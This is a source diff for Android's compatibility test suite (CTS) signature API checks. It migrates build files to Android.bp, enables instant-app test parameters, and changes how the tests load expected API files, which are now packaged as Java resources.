+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiKillswitchWhitelistTestCases
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker libclassdescriptors
-LOCAL_NDK_STL_VARIANT := c++_static
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidManifest.xml b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidManifest.xml
index 35b3e0cb..54f61f9 100644
--- a/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidManifest.xml
@@ -16,7 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.killswitch_whitelist">
+          package="android.signature.cts.api.killswitch_whitelist"
+          android:targetSandboxVersion="2">
 
     <application android:debuggable="true"
                  android:extractNativeLibs="true"
diff --git a/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
index b34d6ba..e25bb65 100644
--- a/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
@@ -16,7 +16,7 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- Whitelist all APIs before running the test, then reset this afterwards. The test
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp
new file mode 100644
index 0000000..785199e
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsHiddenApiKillswitchWildcardTestCases",
+    defaults: ["hiddenapi-killswitch-check-defaults"],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.mk b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.mk
deleted file mode 100644
index ab0eef9..0000000
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiKillswitchWildcardTestCases
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker libclassdescriptors
-LOCAL_NDK_STL_VARIANT := c++_static
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml
index c13d4bb..3747831 100644
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml
@@ -16,7 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.killswitch_wildcard">
+          package="android.signature.cts.api.killswitch_wildcard"
+          android:targetSandboxVersion="2">
 
     <application android:debuggable="true"
                  android:extractNativeLibs="true"
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
index ef41dcc..0363684 100644
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
@@ -16,7 +16,7 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- Enable the killswitch before running the test, then disable it afterwards. The test
diff --git a/tests/signature/api-check/shared-libs-api/Android.mk b/tests/signature/api-check/shared-libs-api/Android.mk
index ee3e962..d4d36fb 100644
--- a/tests/signature/api-check/shared-libs-api/Android.mk
+++ b/tests/signature/api-check/shared-libs-api/Android.mk
@@ -22,16 +22,15 @@
   $(foreach api_level,public system,\
     $(foreach lib,$(filter-out android,$(filter-out %removed,\
       $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt))))),\
-        $(eval all_shared_libs_modules += $(lib)-$(ver)-$(api_level).api))))
+        $(eval all_shared_libs_modules += $(lib)-$(ver)-$(api_level).txt))))
 
 all_shared_libs_files := $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(all_shared_libs_modules))
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := cts-shared-libs-all.api
-LOCAL_MODULE_STEM := shared-libs-all.api.zip
+LOCAL_MODULE := cts-shared-libs-all.txt
+LOCAL_MODULE_STEM := shared-libs-all.txt.zip
 LOCAL_MODULE_CLASS := ETC
 LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
 include $(BUILD_SYSTEM)/base_rules.mk
 $(LOCAL_BUILT_MODULE): $(SOONG_ZIP)
 $(LOCAL_BUILT_MODULE): PRIVATE_SHARED_LIBS_FILES := $(all_shared_libs_files)
@@ -39,7 +38,9 @@
 	@echo "Zip API files $^ -> $@"
 	@mkdir -p $(dir $@)
 	$(hide) rm -f $@
-	$(hide) $(SOONG_ZIP) -o $@ -C . $(addprefix -f ,$(PRIVATE_SHARED_LIBS_FILES))
+	$(hide) $(SOONG_ZIP) -o $@ -P out -C $(OUT_DIR) $(addprefix -f ,$(PRIVATE_SHARED_LIBS_FILES))
+
+all_shared_libs_zip_file := $(LOCAL_BUILT_MODULE)
 
 include $(CLEAR_VARS)
 
@@ -62,9 +63,7 @@
 
 LOCAL_PACKAGE_NAME := CtsSharedLibsApiSignatureTestCases
 
-LOCAL_SIGNATURE_API_FILES := \
-    shared-libs-all.api.zip \
-    $(all_shared_libs_modules)
+LOCAL_JAVA_RESOURCE_FILES := $(all_shared_libs_zip_file)
 
 LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-multilib-test
 
@@ -73,4 +72,4 @@
 LOCAL_JAVA_SDK_LIBRARIES :=
 all_shared_libs_files :=
 all_shared_libs_modules :=
-
+all_shared_libs_zip_file :=
diff --git a/tests/signature/api-check/shared-libs-api/AndroidManifest.xml b/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
index 5bdec66..00ddd9a 100644
--- a/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
+++ b/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.shared_libs">
+          package="android.signature.cts.api.shared_libs"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
diff --git a/tests/signature/api-check/shared-libs-api/AndroidTest.xml b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
index 29262ca..09a9168 100644
--- a/tests/signature/api-check/shared-libs-api/AndroidTest.xml
+++ b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
@@ -16,15 +16,8 @@
 <configuration description="Config for CTS Shared Libraries API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="shared-libs-all.api.zip->/data/local/tmp/signature-test/shared-libs-all.api.zip" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSharedLibsApiSignatureTestCases.apk" />
@@ -33,7 +26,7 @@
         <option name="package" value="android.signature.cts.api.shared_libs" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.SignatureMultiLibsTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="shared-libs-all.api.zip" />
+        <option name="instrumentation-arg" key="expected-api-files" value="shared-libs-all.txt.zip" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
index c04f7ccb..5499119 100644
--- a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
+++ b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
@@ -18,13 +18,11 @@
 
 import android.signature.cts.ApiComplianceChecker;
 import android.signature.cts.ApiDocumentParser;
-import java.io.File;
-import java.io.FileInputStream;
+import android.signature.cts.VirtualPath;
+import android.signature.cts.VirtualPath.LocalFilePath;
 import java.io.IOException;
-import java.io.InputStream;
 import java.util.Arrays;
 import java.util.stream.Stream;
-import java.util.zip.ZipFile;
 
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 
@@ -48,7 +46,7 @@
 
             ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
 
-            parseApiFilesAsStream(apiDocumentParser, expectedApiFiles)
+            parseApiResourcesAsStream(apiDocumentParser, expectedApiFiles)
                     .forEach(complianceChecker::checkSignatureCompliance);
 
             // After done parsing all expected API files, perform any deferred checks.
@@ -70,21 +68,9 @@
         return getLibraries().anyMatch(libraryName::equals);
     }
 
-    protected Stream<InputStream> readFile(File file) {
-        try {
-            if (file.getName().endsWith(".zip")) {
-                ZipFile zip = new ZipFile(file);
-                return zip.stream().filter(entry -> checkLibrary(entry.getName())).map(entry -> {
-                    try {
-                        return zip.getInputStream(entry);
-                    } catch (IOException e) {
-                        throw new RuntimeException(e);
-                    }});
-            } else {
-                return Stream.of(new FileInputStream(file));
-            }
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        }
+    @Override
+    protected Stream<VirtualPath> getZipEntryFiles(LocalFilePath path) throws IOException {
+        // Only return entries corresponding to shared libraries.
+        return super.getZipEntryFiles(path).filter(p -> checkLibrary(p.toString()));
     }
 }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
index 4167c9c..7e8c6d6 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
@@ -21,8 +21,11 @@
 import android.signature.cts.ExcludingClassProvider;
 import android.signature.cts.FailureType;
 import android.signature.cts.JDiffClassDescription;
+import android.signature.cts.VirtualPath;
+import android.signature.cts.VirtualPath.LocalFilePath;
+import android.signature.cts.VirtualPath.ResourcePath;
+import android.util.Log;
 import java.io.File;
-import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.PrintWriter;
@@ -30,22 +33,20 @@
 import java.nio.ByteBuffer;
 import java.nio.channels.FileChannel;
 import java.nio.file.Files;
+import java.nio.file.Path;
 import java.nio.file.StandardOpenOption;
 import java.util.EnumSet;
-import java.util.HashSet;
-import java.util.Set;
 import java.util.stream.Stream;
 import java.util.zip.ZipFile;
-import org.xmlpull.v1.XmlPullParserException;
 import repackaged.android.test.InstrumentationTestCase;
 import repackaged.android.test.InstrumentationTestRunner;
 
-import static android.signature.cts.CurrentApi.API_FILE_DIRECTORY;
-
 /**
  */
 public class AbstractApiTest extends InstrumentationTestCase {
 
+    private static final String TAG = "SignatureTest";
+
     private TestResultObserver mResultObserver;
 
     ClassProvider classProvider;
@@ -109,63 +110,63 @@
         return argument.split(",");
     }
 
-    Stream<Object> readFileOptimized(File file) {
+    private Stream<VirtualPath> readResource(String resourceName) {
         try {
-            if (file.getName().endsWith(".zip")) {
-                @SuppressWarnings("resource")
-                ZipFile zip = new ZipFile(file);
-                return zip.stream().map(entry -> {
-                    try {
-                        return zip.getInputStream(entry);
-                    } catch (IOException e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+            ResourcePath resourcePath =
+                    VirtualPath.get(getClass().getClassLoader(), resourceName);
+            if (resourceName.endsWith(".zip")) {
+                // Extract to a temporary file and read from there.
+                Path file = extractResourceToFile(resourceName, resourcePath.newInputStream());
+                return flattenPaths(VirtualPath.get(file.toString()));
             } else {
-                try (FileChannel fileChannel = (FileChannel) Files.newByteChannel(file.toPath(),
-                        EnumSet.of(StandardOpenOption.READ))) {
-                    ByteBuffer mappedByteBuffer = fileChannel.map(FileChannel.MapMode.READ_ONLY, 0,
-                            fileChannel.size());
-                    if (mappedByteBuffer == null) {
-                        throw new IllegalStateException("Could not map " + file);
-                    }
-                    return Stream.of(mappedByteBuffer);
-                }
-            }
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        }
-    }
-    Stream<InputStream> readFile(File file) {
-        try {
-            if (file.getName().endsWith(".zip")) {
-                @SuppressWarnings("resource")
-                ZipFile zip = new ZipFile(file);
-                return zip.stream().map(entry -> {
-                    try {
-                        return zip.getInputStream(entry);
-                    } catch (IOException e) {
-                        throw new RuntimeException(e);
-                    }});
-            } else {
-                return Stream.of(new FileInputStream(file));
+                return Stream.of(resourcePath);
             }
         } catch (IOException e) {
             throw new RuntimeException(e);
         }
     }
 
-    Stream<JDiffClassDescription> parseApiFilesAsStream(
-            ApiDocumentParser apiDocumentParser, String[] apiFiles) {
-        return Stream.of(apiFiles)
-                .map(name -> new File(API_FILE_DIRECTORY + "/" + name))
-                .flatMap(this::readFile)
-                .flatMap(stream -> {
-                    try {
-                        return apiDocumentParser.parseAsStream(stream);
-                    } catch (IOException | XmlPullParserException e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+    Path extractResourceToFile(String resourceName, InputStream is) throws IOException {
+        Path tempDirectory = Files.createTempDirectory("signature");
+        Path file = tempDirectory.resolve(resourceName);
+        Log.i(TAG, "extractResourceToFile: extracting " + resourceName + " to " + file);
+        Files.copy(is, file);
+        is.close();
+        return file;
+    }
+
+    /**
+     * Given a path in the local file system (possibly of a zip file) flatten it into a stream of
+     * virtual paths.
+     */
+    private Stream<VirtualPath> flattenPaths(LocalFilePath path) {
+        try {
+            if (path.toString().endsWith(".zip")) {
+                return getZipEntryFiles(path);
+            } else {
+                return Stream.of(path);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    Stream<JDiffClassDescription> parseApiResourcesAsStream(
+            ApiDocumentParser apiDocumentParser, String[] apiResources) {
+        return Stream.of(apiResources)
+                .flatMap(this::readResource)
+                .flatMap(apiDocumentParser::parseAsStream);
+    }
+
+    /**
+     * Get the zip entries that are files.
+     *
+     * @param path the path to the zip file.
+     * @return paths to zip entries
+     */
+    protected Stream<VirtualPath> getZipEntryFiles(LocalFilePath path) throws IOException {
+        @SuppressWarnings("resource")
+        ZipFile zip = new ZipFile(path.toFile());
+        return zip.stream().map(entry -> VirtualPath.get(zip, entry));
     }
 }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index 8efa483..32ab3e9 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -16,8 +16,6 @@
 
 package android.signature.cts.api;
 
-import static android.signature.cts.CurrentApi.API_FILE_DIRECTORY;
-
 import android.os.Bundle;
 import android.signature.cts.DexApiDocumentParser;
 import android.signature.cts.DexField;
@@ -25,8 +23,15 @@
 import android.signature.cts.DexMemberChecker;
 import android.signature.cts.DexMethod;
 import android.signature.cts.FailureType;
+import android.signature.cts.VirtualPath;
 
-import java.io.File;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.channels.FileChannel;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.StandardOpenOption;
+import java.util.EnumSet;
 import java.util.function.Predicate;
 import java.util.stream.Stream;
 
@@ -39,7 +44,7 @@
     private String[] hiddenapiTestFlags;
 
     @Override
-    protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
+    protected void initializeFromArgs(Bundle instrumentationArgs) {
         hiddenapiFiles = getCommaSeparatedList(instrumentationArgs, "hiddenapi-files");
         hiddenapiTestFlags = getCommaSeparatedList(instrumentationArgs, "hiddenapi-test-flags");
     }
@@ -136,7 +141,7 @@
                     }
                 }
             };
-            parseDexApiFilesAsStream(hiddenapiFiles)
+            parseDexApiResourcesAsStream(hiddenapiFiles)
                     .filter(memberFilter)
                     .forEach(dexMember -> {
                         if (shouldTestMember(dexMember)) {
@@ -147,14 +152,13 @@
         });
     }
 
-    private Stream<DexMember> parseDexApiFilesAsStream(String[] apiFiles) {
+    private Stream<DexMember> parseDexApiResourcesAsStream(String[] apiFiles) {
         DexApiDocumentParser dexApiDocumentParser = new DexApiDocumentParser();
         // To allow parallelization with a DexMember output type, we need two
         // pipes.
         Stream<Stream<DexMember>> inputsAsStreams = Stream.of(apiFiles).parallel()
-                .map(name -> new File(API_FILE_DIRECTORY + "/" + name))
-                .flatMap(file -> readFileOptimized(file))
-                .map(obj -> dexApiDocumentParser.parseAsStream(obj));
+                .flatMap(this::readResourceOptimized)
+                .map(dexApiDocumentParser::parseAsStream);
         // The flatMap inherently serializes the pipe. The number of inputs is
         // still small here, so reduce by concatenating (note the caveats of
         // concats).
@@ -166,6 +170,31 @@
         });
     }
 
+    private Stream<Object> readResourceOptimized(String resourceName) {
+        try {
+            VirtualPath.ResourcePath resourcePath =
+                    VirtualPath.get(getClass().getClassLoader(), resourceName);
+            // Extract to a temporary file and read from there. Accessing it via an InputStream
+            // directly is too slow because the file has to be read serially and that results in
+            // the tests taking too long. Saving it as a file allows it to be mapped as a
+            // ByteBuffer and processed in parallel.
+            Path file = extractResourceToFile(resourceName, resourcePath.newInputStream());
+
+            // Map the file into a ByteBuffer, see http://b/123986482 for some background.
+            try (FileChannel fileChannel = (FileChannel) Files.newByteChannel(file,
+                    EnumSet.of(StandardOpenOption.READ))) {
+                ByteBuffer mappedByteBuffer = fileChannel.map(FileChannel.MapMode.READ_ONLY, 0,
+                        fileChannel.size());
+                if (mappedByteBuffer == null) {
+                    throw new IllegalStateException("Could not map " + file);
+                }
+                return Stream.of(mappedByteBuffer);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
     private boolean shouldTestMember(DexMember member) {
         for (String testFlag : hiddenapiTestFlags) {
             for (String memberFlag : member.getHiddenapiFlags()) {
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
index 7861df7..937d074 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
@@ -23,13 +23,11 @@
 import android.signature.cts.FailureType;
 import android.signature.cts.JDiffClassDescription;
 import android.signature.cts.ReflectionHelper;
-import java.io.IOException;
 import java.util.Comparator;
 import java.util.Set;
 import java.util.TreeSet;
 import java.util.function.Predicate;
 import java.util.stream.Collectors;
-import org.xmlpull.v1.XmlPullParserException;
 
 /**
  * Performs the signature check via a JUnit test.
@@ -43,7 +41,7 @@
     private String[] unexpectedApiFiles;
 
     @Override
-    protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
+    protected void initializeFromArgs(Bundle instrumentationArgs) {
         expectedApiFiles = getCommaSeparatedList(instrumentationArgs, "expected-api-files");
         baseApiFiles = getCommaSeparatedList(instrumentationArgs, "base-api-files");
         unexpectedApiFiles = getCommaSeparatedList(instrumentationArgs, "unexpected-api-files");
@@ -75,7 +73,7 @@
 
             ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
 
-            parseApiFilesAsStream(apiDocumentParser, expectedApiFiles)
+            parseApiResourcesAsStream(apiDocumentParser, expectedApiFiles)
                     .filter(not(unexpectedClasses::contains))
                     .forEach(complianceChecker::checkSignatureCompliance);
 
@@ -97,11 +95,9 @@
         }
     }
 
-    private Set<JDiffClassDescription> loadUnexpectedClasses()
-            throws IOException, XmlPullParserException {
-
+    private Set<JDiffClassDescription> loadUnexpectedClasses() {
         ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
-        return parseApiFilesAsStream(apiDocumentParser, unexpectedApiFiles)
+        return parseApiResourcesAsStream(apiDocumentParser, unexpectedApiFiles)
                 .collect(Collectors.toCollection(SignatureTest::newSetOfClassDescriptions));
     }
 
@@ -109,12 +105,9 @@
         return new TreeSet<>(Comparator.comparing(JDiffClassDescription::getAbsoluteClassName));
     }
 
-    private void loadBaseClasses(ApiComplianceChecker complianceChecker)
-            throws IOException, XmlPullParserException {
-
-        ApiDocumentParser apiDocumentParser =
-                new ApiDocumentParser(TAG);
-        parseApiFilesAsStream(apiDocumentParser, baseApiFiles)
+    private void loadBaseClasses(ApiComplianceChecker complianceChecker) {
+        ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
+        parseApiResourcesAsStream(apiDocumentParser, baseApiFiles)
                 .forEach(complianceChecker::addBaseClass);
     }
 }
diff --git a/tests/signature/api-check/system-annotation/Android.bp b/tests/signature/api-check/system-annotation/Android.bp
new file mode 100644
index 0000000..b423593
--- /dev/null
+++ b/tests/signature/api-check/system-annotation/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSystemApiAnnotationTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+    ],
+    java_resources: [
+        ":cts-system-current-txt",
+        ":cts-system-removed-txt",
+        ":cts-car-system-current-txt",
+        ":cts-car-system-removed-txt",
+    ],
+    min_sdk_version: "27",
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/system-annotation/Android.mk b/tests/signature/api-check/system-annotation/Android.mk
deleted file mode 100644
index be48a5c..0000000
--- a/tests/signature/api-check/system-annotation/Android.mk
+++ /dev/null
@@ -1,26 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSystemApiAnnotationTestCases
-LOCAL_SRC_FILES := $(call all-java-files-under,src)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
-LOCAL_SIGNATURE_API_FILES := \
-    system-current.api \
-    system-removed.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/system-annotation/AndroidManifest.xml b/tests/signature/api-check/system-annotation/AndroidManifest.xml
index 34a12c4..13258c2 100644
--- a/tests/signature/api-check/system-annotation/AndroidManifest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidManifest.xml
@@ -16,11 +16,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.system_annotation">
+          package="android.signature.cts.api.system_annotation"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
-    <uses-sdk android:targetSdkVersion="28" />
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="28" />
 
     <application android:debuggable="true"
                  android:extractNativeLibs="true"
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index 286eea3..70db574 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -16,18 +16,8 @@
 <configuration description="Config for CTS System Current API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="system-removed.api->/data/local/tmp/signature-test/system-removed.api" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemApiAnnotationTestCases.apk" />
@@ -36,7 +26,7 @@
         <option name="package" value="android.signature.cts.api.system_annotation" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.AnnotationTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="system-current.api,system-removed.api" />
+        <option name="instrumentation-arg" key="expected-api-files" value="system-current.txt,system-removed.txt,car-system-current.txt,car-system-removed.txt" />
         <option name="instrumentation-arg" key="annotation-for-exact-match" value="android.annotation.SystemApi" />
         <option name="runtime-hint" value="30s" />
     </test>
